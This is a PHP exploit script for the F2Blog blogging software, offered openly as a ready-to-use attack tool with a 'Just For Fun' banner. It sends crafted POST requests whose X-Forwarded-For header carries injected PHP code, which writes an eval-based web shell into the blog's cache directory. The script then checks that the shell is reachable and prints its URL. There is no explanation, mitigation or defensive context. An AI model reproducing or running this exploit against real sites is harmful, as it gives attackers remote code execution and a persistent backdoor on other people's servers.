Exploit For F2blog

<?php print_r(" +------------------------------------------------------------------+ Exploit For F2Blog All Version BY Mokfly 媒婆X 拖鞋王子 Just For Fun :) +------------------------------------------------------------------+ "); ini_set("max_execution_time",0); error_reporting(7); $blogpath="$argv[2]"; $server="$argv[1]"; $cookie=''; $shell= "http://".$server.$blogpath."cache/loveshell.php"; $evilcode="fputs(fopen('cache/loveshell.php','w+'),'<?@eval(\$_REQUEST[c])?>Orz')"; $evilcode="'));".$evilcode.";/*"; $evilip="X-Forwarded-For: ".$evilcode; preg_match('/X-Powered-By: php\/(.+)\r\n/ie',send(""),$php); echo "We Got php version:\t".$php[1]."\r\n"; send(""); $evilip=""; send(""); if(@file_get_contents($shell)=='Orz') { echo "Expoilt Success!\t\r\n"; echo "View Your shell:\t$shell"; } else die("Faild!\r\n"); function send($cmd) { global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip; $path=$blogpath."index.php"; $message = "POST ".$path." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Referer: http://".$server.$path."\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: ".$useragent."\r\n"; $message .= "Host: ".$server."\r\n"; $message .= "Content-length: ".strlen($cmd)."\r\n"; $message .= "Connection: Keep-Alive\r\n"; $message .= "Cookie: ".$cookie."\r\n"; $message .= $evilip."\r\n"; $message .= "\r\n"; $message .= $cmd."\r\n"; echo $message; $fd = fsockopen( $server, 80 ); fputs($fd,$message); $resp = "<pre>"; while($fd&&!feof($fd)) { $resp .= fread($fd,1024); } fclose($fd); $resp .="</pre>"; if($debug) {echo $cmd;echo $resp;} // echo $resp; return $resp; } ?>